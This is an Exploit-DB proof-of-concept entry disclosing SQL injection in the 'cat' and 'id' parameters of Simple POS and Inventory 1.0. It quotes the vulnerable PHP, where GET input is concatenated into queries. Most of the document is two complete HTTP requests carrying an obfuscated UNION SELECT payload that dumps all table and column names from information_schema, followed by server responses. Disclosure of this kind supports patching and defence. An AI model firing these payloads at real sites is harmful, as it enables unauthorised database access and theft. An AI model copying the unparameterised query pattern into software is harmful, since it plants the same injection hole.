Exploit-DB #45689
Description: Simple POS and Inventory 1.0 - 'cat' SQL Injection
Type: webapps
Platform: php
Date: 2018-10-25
Author: Ihsan Sencan

Exploit:
# Exploit Title: Simple POS and Inventory 1.0 - 'cat' SQL Injection
# Dork: N/A
# Date: 2018-10-24
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://www.sourcecodester.com/php/11625/simple-pos-and-inventory-system.html
# Software Link: https://sourceforge.net/projects/simple-pos-and-inventory/files/latest/download
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/user/plist.php?cat=[SQL]
# 
# [PATH]/user/plist.php
# 
# 03 <?php $cat=$_GET['cat']; ?>
# 04 <body>
# 05 <?php include('navbar.php'); ?>
# 06 <div class="container">
# 07 	<?php include('cart_search_field.php'); ?>
# 08 	<div style="height: 80px;"></div>
# 09 	<div>
# 10 	<?php
# 11 		$inc=4;
# 12 		$query=mysqli_query($conn,"select * from product where categoryid='$cat'");
# 13 		while($row=mysqli_fetch_array($query)){
# 14 			
# 15 			$inc = ($inc == 4) ? 1 : $inc+1;  	


GET /[PATH]/user/plist.php?cat=-1%27++uniOn+seleCT+0x496873616e2053656e63616e%2c0x496873616e2053656e63616e%2c(selECt(@x)fROm(selECt(@x:=0x00)%2c(@rUNNing_nuMBer:=0)%2c(@tbl:=0x00)%2c(selECt(0)fROm(infoRMATion_schEMa.coLUMns)wHEre(tABLe_schEMa=daTABase())aNd(0x00)in(@x:=Concat(@x%2cif((@tbl!=tABLe_name)%2cConcat(LPAD(@rUNNing_nuMBer:=@rUNNing_nuMBer%2b1%2c2%2c0x30)%2c0x303d3e%2c@tBl:=tABLe_naMe%2c(@z:=0x00))%2c%200x00)%2clpad(@z:=@z%2b1%2c2%2c0x30)%2c0x3d3e%2c0x4b6f6c6f6e3a20%2ccolumn_name%2c0x3c62723e))))x)%2c0x496873616e2053656e63616e%2c0x496873616e2053656e63616e%2c0x496873616e2053656e63616e%2c0x496873616e2053656e63616e--+- HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=fuobifeugni2gnt2kir6patce6
Connection: keep-alive
HTTP/1.1 200 OK
Date: Wed, 24 Oct 2018 21:00:14 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

# POC: 
# 2)
# http://localhost/[PATH]/user/search_result.php?id=[SQL]
# 
# [PATH]/usersearch_result.php
# 
# 03 <?php $id=$_GET['id']; ?>
# 04 <body>
# 05 <?php include('navbar.php'); ?>
# 06 <div class="container">
# 07 	<?php include('cart_search_field.php'); ?>
# 08 	<div style="height: 80px;"></div>
# 09 	<div>
# 10 	<?php
# 11 		$inc=4;
# 12 		$query=mysqli_query($conn,"select * from product where productid='$id'");
# 13 		while($row=mysqli_fetch_array($query)){
# 14 			
# 15 			$inc = ($inc == 4) ? 1 : $inc+1;  	

GET /[PATH]/user/search_result.php?id=-1%27++uniOn+seleCT+0x496873616e2053656e63616e%2c0x496873616e2053656e63616e%2c(selECt(@x)fROm(selECt(@x:=0x00)%2c(@rUNNing_nuMBer:=0)%2c(@tbl:=0x00)%2c(selECt(0)fROm(infoRMATion_schEMa.coLUMns)wHEre(tABLe_schEMa=daTABase())aNd(0x00)in(@x:=Concat(@x%2cif((@tbl!=tABLe_name)%2cConcat(LPAD(@rUNNing_nuMBer:=@rUNNing_nuMBer%2b1%2c2%2c0x30)%2c0x303d3e%2c@tBl:=tABLe_naMe%2c(@z:=0x00))%2c%200x00)%2clpad(@z:=@z%2b1%2c2%2c0x30)%2c0x3d3e%2c0x4b6f6c6f6e3a20%2ccolumn_name%2c0x3c62723e))))x)%2c0x496873616e2053656e63616e%2c0x496873616e2053656e63616e%2c0x496873616e2053656e63616e%2c0x496873616e2053656e63616e--+- HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=fuobifeugni2gnt2kir6patce6
Connection: keep-alive
HTTP/1.1 200 OK
Date: Wed, 24 Oct 2018 21:05:31 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8